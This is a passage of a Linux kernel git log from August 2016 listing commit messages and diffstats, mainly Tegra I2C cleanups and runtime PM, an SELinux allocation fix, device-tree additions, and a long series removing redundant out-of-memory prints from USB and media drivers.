Aug 26 14:09:04 2016 +0100 i2c: tegra: Add runtime power-management support Update the Tegra I2C driver to use runtime PM and move the code in the tegra_i2c_clock_enable/disable() functions to the PM runtime resume and suspend callbacks, respectively. Note that given that CONFIG_PM is not mandatory for Tegra, if CONFIG_PM is not enabled and so runtime PM is not enabled, ensure that the I2C clocks are turned on during probe and kept on by calling the resume callback directly. In the function tegra_i2c_init(), the variable 'err' does not need to be initialised to zero in tegra_i2c_init() because it is initialised when pm_runtime_get_sync() is called. Furthermore, to ensure we only return 0 from tegra_i2c_init(), it is necessary to re-initialise 'err' to 0 after a successful call to pm_runtime_get_sync() because it can return a positive value on success. However, alternatively re-initialise 'err' by using the return value of the function tegra_i2c_flush_fifos() because it can only be 0 or -ETIMEDOUT. Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 60 ++++++++++++++++++++++++++++++++---------- 1 file changed, 46 insertions(+), 14 deletions(-) commit f4c2d89bd4b13ec448f6c5dc07f445883685ea4b Author: Jon Hunter Date: Fri Aug 26 14:09:03 2016 +0100 i2c: tegra: Simplify I2C resume The I2C adapter is unlocked regardless of whether the tegra_i2c_init() called during the resume is successful or not. However, if the tegra_i2c_init() is not successful, then ->is_suspended is not set to false. Simplify the resume code by only setting ->is_suspended to false if tegra_i2c_init() is successful and return the error code from tegra_i2c_init(). Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 0da9ab89aba975d2b27b829636e253c5b2771c13 Author: Jon Hunter Date: Fri Aug 26 14:09:02 2016 +0100 i2c: tegra: Use device name for adapter name All Tegra I2C devices have the name "Tegra I2C adapter" which is not very useful when viewing the I2C adapter names via the sysfs. Therefore, use the device name, which is unique for each I2C device, instead. Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a9e32cd81624faf4deb7c850f846efc00a3d36b4 Author: Jon Hunter Date: Fri Aug 26 14:09:01 2016 +0100 i2c: tegra: Remove non device-tree support Tegra has only supported device-tree for platform/board configuration for quite some time now and so simplify the Tegra I2C driver by dropping code for non device-tree platforms/boards. Signed-off-by: Jon Hunter Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 12 +++--------- 1 file changed, 3 insertions(+), 9 deletions(-) commit e8e999cbe725a4403ac771b1e4c8a5de7e0031f3 Author: Jon Hunter Date: Fri Aug 26 14:09:00 2016 +0100 i2c: tegra: Add missing new line characters Add missing new line characters for the various error messages. Signed-off-by: Jon Hunter Acked-by: Laxman Dewangan Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit f5076685b3aa4f292ca322404886fee8d3d4f03d Author: Jon Hunter Date: Fri Aug 26 14:08:59 2016 +0100 i2c: tegra: Fix missing blank lines after declarations Checkpatch warns about missing blank lines after declarations in the Tegra I2C driver and so fix these. Note that the initialisation of 'val' to zero in tegra_dvc_init() is unnecessary and so remove this. Signed-off-by: Jon Hunter Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 19 +++++++++++++------ 1 file changed, 13 insertions(+), 6 deletions(-) commit 2929be29e09b789f0e6c61549e3426c439d78c58 Author: Jon Hunter Date: Fri Aug 26 14:08:58 2016 +0100 i2c: tegra: Use BIT macro Checkpatch warns about spacing around the '<<' operator in the Tegra I2C driver and so fix these by converting the bit definitions that are using this operator to use the BIT macro. Signed-off-by: Jon Hunter Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 66 +++++++++++++++++++++--------------------- 1 file changed, 33 insertions(+), 33 deletions(-) commit c7ae44e8aadafec41eb7a5dcdeebc9022bf6c1ce Author: Jon Hunter Date: Fri Aug 26 14:08:57 2016 +0100 i2c: tegra: Fix lines over 80 characters Checkpatch warns about some lines over 80 characters in the Tegra I2C driver and so fix these. While we are at it, prefix the second instance of "STOP condition" in the comment with a "the". Signed-off-by: Jon Hunter Signed-off-by: Wolfram Sang drivers/i2c/busses/i2c-tegra.c | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) commit 7c686af071ade663d0995aa30b262495a6c68c88 Author: William Roberts Date: Tue Aug 30 09:28:11 2016 -0700 selinux: fix overflow and 0 length allocations Throughout the SELinux LSM, values taken from sepolicy are used in places where length == 0 or length == matter, find and fix these. Signed-off-by: William Roberts Signed-off-by: Paul Moore security/selinux/ss/conditional.c | 2 ++ security/selinux/ss/policydb.c | 3 +++ 2 files changed, 5 insertions(+) commit 911d49c7a09aaf277b03bf4ef23015af8cdfea6f Merge: 61f800d 0749698 Author: Stephen Boyd Date: Tue Aug 30 11:49:02 2016 -0700 Merge tag 'clk-renesas-for-v4.9-tag2' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers into clk-next Pull renesas r8a7796 SDHI clock support from Geert Uytterhoeven: Add all clocks needed to use the SDHI interfaces on the Renesas R-Car M3-W (r8a7796) SoC. * tag 'clk-renesas-for-v4.9-tag2' of git://git.kernel.org/pub/scm/linux/kernel/git/geert/renesas-drivers: clk: renesas: r8a7796: Add SDIF clocks clk: renesas: r8a7796: Add GPIO clocks commit bed596da1eecc77c2ce391f74fd879e3a5327add Author: Kishon Vijay Abraham I Date: Wed Aug 10 18:03:18 2016 +0530 ARM: dts: DRA7: Add "linux,pci-domain" property for pci dt nodes Since DRA7 has multiple PCIe Rootcomplex, add "linux,pci-domain" property to assign a PCI domain number to each of the host bridges. Signed-off-by: Kishon Vijay Abraham I Signed-off-by: Tony Lindgren arch/arm/boot/dts/dra7.dtsi | 2 ++ 1 file changed, 2 insertions(+) commit 6c6b3c33eb2b7fa2d5b4cc66c8116e9315fdbd9b Author: Vignesh R Date: Wed Aug 24 13:28:59 2016 +0530 ARM: dts: am335x-icev2: Add nodes for gpio-decoder AM335x ICE board has a rotary-switch connected to PCA9536 I2C GPIO expander. The position of the rotary-switch is reflected by status of GPIO lines. Add gpio-decoder node to read these GPIO line status via gpio-decoder driver and report it as an input event to the system. Signed-off-by: Vignesh R Signed-off-by: Tony Lindgren arch/arm/boot/dts/am335x-icev2.dts | 9 +++++++++ 1 file changed, 9 insertions(+) commit b68824b1a6e13f6b39ba925d1cc596bafceb438e Author: Russell King Date: Fri Aug 19 17:31:31 2016 +0100 USB: ohci-omap - avoid including mach/irqs.h ohci-omap doesn't need to include mach/irqs.h - nothing within this driver needs anything from this header file. Remove this include. Signed-off-by: Russell King Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-omap.c | 1 - 1 file changed, 1 deletion(-) commit 70efb643a854b98e7012456b598ae01bc91475dc Author: Russell King Date: Fri Aug 26 17:41:37 2016 +0100 usb: ohci-sa1111: remove mach/hardware.h include The mach/hardware.h include doesn't seem to be necessary to build ohci-sa1111, so let's remove it to kill off an unnecessary platform specific include. Signed-off-by: Russell King Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-sa1111.c | 1 - 1 file changed, 1 deletion(-) commit 6ebb8f0f83ffc0a482380a84772f35f2548d7eca Author: Russell King Date: Fri Aug 26 17:41:32 2016 +0100 usb: ohci-sa1111: remove machine_has_neponset() The neponset is a daughter board for the Assabet platform, which has a SA1111 chip on it. If we're initialising the SA1111 OHCI, and we're part of a neponset, the host platform must be an Assabet. This allows us to eliminate machine_has_neponset() from this driver, replacing it instead with machine_is_assabet(), and killing the mach/assabet.h include. Signed-off-by: Russell King Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-sa1111.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 2e2aa1bc7eff90ecc1dddfc593aef07c57e539d0 Author: Wenyou Yang Date: Tue Aug 23 09:05:29 2016 +0800 usb: ohci-at91: Forcibly suspend ports while USB suspend The usb controller does not manage correctly the suspend mode for the ehci. In echi mode, there is no way to suspend without any device connected to it. This is why this specific control is added to fix this issue. Since the suspend mode works in ohci mode, this specific control works by suspend the usb controller in ohci mode. This specific control is by setting the SUSPEND_A/B/C fields of SFR_OHCIICR(OHCI Interrupt Configuration Register) in the SFR while the OHCI USB suspend. This set operation must be done before the USB clock disabled, clear operation after the USB clock enabled. Signed-off-by: Wenyou Yang Reviewed-by: Alexandre Belloni Acked-by: Nicolas Ferre Acked-by: Alan Stern Signed-off-by: Greg Kroah-Hartman drivers/usb/host/ohci-at91.c | 69 +++++++++++++++++++++++++++++++++++++++++++- include/soc/at91/atmel-sfr.h | 14 +++++++++ 2 files changed, 82 insertions(+), 1 deletion(-) commit fc8b690d5da86a4b309b74fb706cc1eb75d003e6 Author: Alan Stern Date: Thu Aug 25 11:30:49 2016 -0400 usb-storage: MAINTAINERS: Alan Stern is the new maintainer At Matt Dharm's request, I am taking over maintainership of the usb-storage driver. Signed-off-by: Alan Stern Acked-by: Matthew Dharm Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 84f11ce545d464828992036591bbcb78175d509f Author: Wolfram Sang Date: Thu Aug 25 19:39:36 2016 +0200 usb: wusbcore: wa-nep: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/wa-nep.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit d919523f97c97859be5d01fb964fd35d3acda489 Author: Wolfram Sang Date: Thu Aug 25 19:39:35 2016 +0200 usb: wusbcore: security: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/security.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 90b613864d414d3c8423fd8d58a956d89ef58770 Author: Wolfram Sang Date: Thu Aug 25 19:39:34 2016 +0200 usb: wusbcore: crypto: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/wusbcore/crypto.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit dc0c32c93e65cb520831546c912c8cf3f6113059 Author: Wolfram Sang Date: Thu Aug 25 19:39:33 2016 +0200 usb: usb-skeleton: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/usb-skeleton.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit fd233925ed2fa757cbea6478434fc219732974c9 Author: Wolfram Sang Date: Thu Aug 25 19:39:32 2016 +0200 usb: storage: sddr09: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/storage/sddr09.c | 14 ++++---------- 1 file changed, 4 insertions(+), 10 deletions(-) commit e5cdac9242f58ca0122822e8fd7cab03c7faeb07 Author: Wolfram Sang Date: Thu Aug 25 19:39:31 2016 +0200 usb: storage: alauda: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/storage/alauda.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit c34515f87501fc1cb49ec1a104b9a69e4a263e80 Author: Wolfram Sang Date: Thu Aug 25 19:39:30 2016 +0200 usb: renesas_usbhs: pipe: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/renesas_usbhs/pipe.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 93b6cb4504d90f8f5ed35e5b0c2b5726678cedd2 Author: Wolfram Sang Date: Thu Aug 25 19:39:29 2016 +0200 usb: renesas_usbhs: mod_host: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/renesas_usbhs/mod_host.c | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) commit 7d80e4be1e50d2c5c6e314c9c555810374305f82 Author: Wolfram Sang Date: Thu Aug 25 19:39:28 2016 +0200 usb: renesas_usbhs: mod_gadget: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/renesas_usbhs/mod_gadget.c | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) commit 92c0c4905b651e0c9938802cae0ab30583ead038 Author: Wolfram Sang Date: Thu Aug 25 19:39:27 2016 +0200 usb: musb: da8xx: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/da8xx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 906f5dc99c93f564f1a17b6f908701efd7e90baa Author: Wolfram Sang Date: Thu Aug 25 19:39:26 2016 +0200 usb: musb: am35x: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/musb/am35x.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 0c2bc5c2cb267c41f073132d1817df917ab8ba47 Author: Wolfram Sang Date: Thu Aug 25 19:39:25 2016 +0200 usb: misc: yurex: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/yurex.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit c9220ba512af2c71171251d032b191d6bb9dba62 Author: Wolfram Sang Date: Thu Aug 25 19:39:24 2016 +0200 usb: misc: uss720: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/uss720.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit bcf0848dcbc282f76c3ed4f734178392eca2deb2 Author: Wolfram Sang Date: Thu Aug 25 19:39:23 2016 +0200 usb: misc: usbsevseg: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/usbsevseg.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit a1841732e07e534a2e207c88ae63e7b4a7522d4b Author: Wolfram Sang Date: Thu Aug 25 19:39:22 2016 +0200 usb: misc: usblcd: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/usblcd.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 58e61402c7f46c792daa2bb32f4686c45bd15f90 Author: Wolfram Sang Date: Thu Aug 25 19:39:21 2016 +0200 usb: misc: trancevibrator: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/trancevibrator.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 5c47fd6166ce644d403787586eb206b910df7413 Author: Wolfram Sang Date: Thu Aug 25 19:39:20 2016 +0200 usb: misc: lvstest: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/lvstest.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 49d8ffab82342904e22f156530649faff9e6baae Author: Wolfram Sang Date: Thu Aug 25 19:39:19 2016 +0200 usb: misc: legousbtower: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/legousbtower.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 6714ffae751868e237d8f887eca1754d08ee814c Author: Wolfram Sang Date: Thu Aug 25 19:39:18 2016 +0200 usb: misc: ldusb: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ldusb.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit 3cfb4842fbf4854b5b5a02a0e14a969d6a498aa0 Author: Wolfram Sang Date: Thu Aug 25 19:39:17 2016 +0200 usb: misc: iowarrior: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/iowarrior.c | 20 ++++++-------------- 1 file changed, 6 insertions(+), 14 deletions(-) commit 081e303e49d417961f2e55a87badd10959935eac Author: Wolfram Sang Date: Thu Aug 25 19:39:16 2016 +0200 usb: misc: idmouse: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/idmouse.c | 1 - 1 file changed, 1 deletion(-) commit 524fd35357559381d5e84b6b5af2995579ace0eb Author: Wolfram Sang Date: Thu Aug 25 19:39:15 2016 +0200 usb: misc: ftdi-elan: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/ftdi-elan.c | 1 - 1 file changed, 1 deletion(-) commit 29a99df17bb755bac716177295de7b4b86cb1467 Author: Wolfram Sang Date: Thu Aug 25 19:39:14 2016 +0200 usb: misc: cytherm: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/cytherm.c | 32 ++++++++------------------------ 1 file changed, 8 insertions(+), 24 deletions(-) commit e83c06e99df6de5a0ba9710280385a6da4084c76 Author: Wolfram Sang Date: Thu Aug 25 19:39:13 2016 +0200 usb: misc: cypress_cy7c63: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/cypress_cy7c63.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit d7f040e92fa0465ff08d2a1e46f0149d9eb65616 Author: Wolfram Sang Date: Thu Aug 25 19:39:12 2016 +0200 usb: misc: appledisplay: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/appledisplay.c | 3 --- 1 file changed, 3 deletions(-) commit a02b55c8db5a35059fda254a7a5bddacc9fd4cef Author: Wolfram Sang Date: Thu Aug 25 19:39:11 2016 +0200 usb: misc: adutux: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/misc/adutux.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit f4c46f119ac6edbff2ec8ca8aad4beffc5631eac Author: Wolfram Sang Date: Thu Aug 25 19:39:10 2016 +0200 usb: host: xhci: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a35234b2a67363f0174322b9cf8b385d236e8822 Author: Wolfram Sang Date: Thu Aug 25 19:39:09 2016 +0200 usb: host: xhci-tegra: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/xhci-tegra.c | 1 - 1 file changed, 1 deletion(-) commit 314e672506e87d263404c69c6343b97ca2c59ded Author: Wolfram Sang Date: Thu Aug 25 19:39:08 2016 +0200 usb: host: uhci-hcd: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/uhci-hcd.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 13dcf7800594171addb343c7a00493daaab4ed97 Author: Wolfram Sang Date: Thu Aug 25 19:39:07 2016 +0200 usb: host: max3421-hcd: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/max3421-hcd.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit 2652de71c5cb4f90819d8f59887bc1099956446e Author: Wolfram Sang Date: Thu Aug 25 19:39:06 2016 +0200 usb: host: fhci-hcd: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/host/fhci-hcd.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit c86af711a6945ac00d005c66b4f29faba82bafe9 Author: Wolfram Sang Date: Thu Aug 25 19:39:05 2016 +0200 usb: gadget: udc: udc-xilinx: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/gadget/udc/udc-xilinx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit e2088ec002ce36ee36a0b6fbe2d6299e1c1c8325 Author: Wolfram Sang Date: Thu Aug 25 19:39:04 2016 +0200 usb: gadget: udc: goku_udc: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/gadget/udc/goku_udc.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit d9116ca87e8dfee907106dbc912a926c3b67c52c Author: Wolfram Sang Date: Thu Aug 25 19:39:03 2016 +0200 usb: gadget: udc: fsl_qe_udc: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/gadget/udc/fsl_qe_udc.c | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) commit 648e0bc96169668531ef6ea9524b8c0a81c92324 Author: Wolfram Sang Date: Thu Aug 25 19:39:02 2016 +0200 usb: dwc2: gadget: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/dwc2/gadget.c | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) commit b62a7a99b89970b66ebc1b1fd8ad29116ffc3519 Author: Wolfram Sang Date: Thu Aug 25 19:39:01 2016 +0200 usb: core: urb: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/core/urb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 93fab7955eb3af2de4c51f15f15a0881bf97c907 Author: Wolfram Sang Date: Thu Aug 25 19:39:00 2016 +0200 usb: core: message: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/core/message.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit b74e7062366af5b372b0f8ee5781c5e713ef67ad Author: Wolfram Sang Date: Thu Aug 25 19:38:59 2016 +0200 usb: core: hub: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/core/hub.c | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) commit 36af2db8709246a00670314feca728a014e320bd Author: Wolfram Sang Date: Thu Aug 25 19:38:58 2016 +0200 usb: core: hcd: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/core/hcd.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit f6b6f8a09f60e668de013eadc8d2a3d52bf36795 Author: Wolfram Sang Date: Thu Aug 25 19:38:57 2016 +0200 usb: class: usbtmc: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/class/usbtmc.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 52879bb190bbda82603c857d37e3826b3aa2832a Author: Wolfram Sang Date: Thu Aug 25 19:38:56 2016 +0200 usb: atm: usbatm: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/usbatm.c | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) commit 59e1200ecb5bfc42da895f423b16b01f9cf92e64 Author: Wolfram Sang Date: Thu Aug 25 19:38:55 2016 +0200 usb: atm: ueagle-atm: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/ueagle-atm.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 8b80c106a0c8b42115c15979b472b25dfecfac32 Author: Wolfram Sang Date: Thu Aug 25 19:38:54 2016 +0200 usb: atm: speedtch: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/speedtch.c | 1 - 1 file changed, 1 deletion(-) commit 04e75e49564426624adfd912ac58cd18ac4e1ff0 Author: Wolfram Sang Date: Thu Aug 25 19:38:53 2016 +0200 usb: atm: cxacru: don't print on ENOMEM All kmalloc-based functions print enough information on failures. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/usb/atm/cxacru.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 78a4a0d22f7cfdf743eee76d177dffc0f8decb8d Author: Wolfram Sang Date: Thu Aug 11 23:23:40 2016 +0200 watchdog: pcwd_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Reviewed-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman drivers/watchdog/pcwd_usb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 4e9f037e20cede653e9404e021b1c48f05908195 Author: Wolfram Sang Date: Thu Aug 11 23:04:04 2016 +0200 media: usb: zr364xx: zr364xx: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/zr364xx/zr364xx.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 44d6d61220e728cc5cad42ee861f3994723456e0 Author: Wolfram Sang Date: Thu Aug 11 23:04:03 2016 +0200 media: usb: usbvision: usbvision-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/usbvision/usbvision-core.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit a438612953ba82a887fc238466d2506eebc3c078 Author: Wolfram Sang Date: Thu Aug 11 23:04:02 2016 +0200 media: usb: tm6000: tm6000-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/tm6000/tm6000-video.c | 1 - 1 file changed, 1 deletion(-) commit 5d54a42ed7624cb6578ca7ff2238e670179734fd Author: Wolfram Sang Date: Thu Aug 11 23:04:01 2016 +0200 media: usb: tm6000: tm6000-dvb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/tm6000/tm6000-dvb.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 7164c590c22af881797dc56b2d96aced719f68a4 Author: Wolfram Sang Date: Thu Aug 11 23:04:00 2016 +0200 media: usb: stkwebcam: stk-webcam: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/stkwebcam/stk-webcam.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit ec70abd1fa1095d4a389914a5fcb99d7dc2a1375 Author: Wolfram Sang Date: Thu Aug 11 23:03:59 2016 +0200 media: usb: stk1160: stk1160-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/stk1160/stk1160-video.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 3b2630dcf4ce925cfd6aa376766f5a2d59c5f74b Author: Wolfram Sang Date: Thu Aug 11 23:03:58 2016 +0200 media: usb: s2255: s2255drv: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/s2255/s2255drv.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 0ecf16674d05038f40ea5a53d64a7ae310d8fb14 Author: Wolfram Sang Date: Thu Aug 11 23:03:57 2016 +0200 media: usb: pwc: pwc-if: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/pwc/pwc-if.c | 1 - 1 file changed, 1 deletion(-) commit ec691d0a8b4a8e18bed47f7854f2c0720aac42ee Author: Wolfram Sang Date: Thu Aug 11 23:03:56 2016 +0200 media: usb: msi2500: msi2500: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/media/usb/msi2500/msi2500.c | 1 - 1 file changed, 1 deletion(-) commit 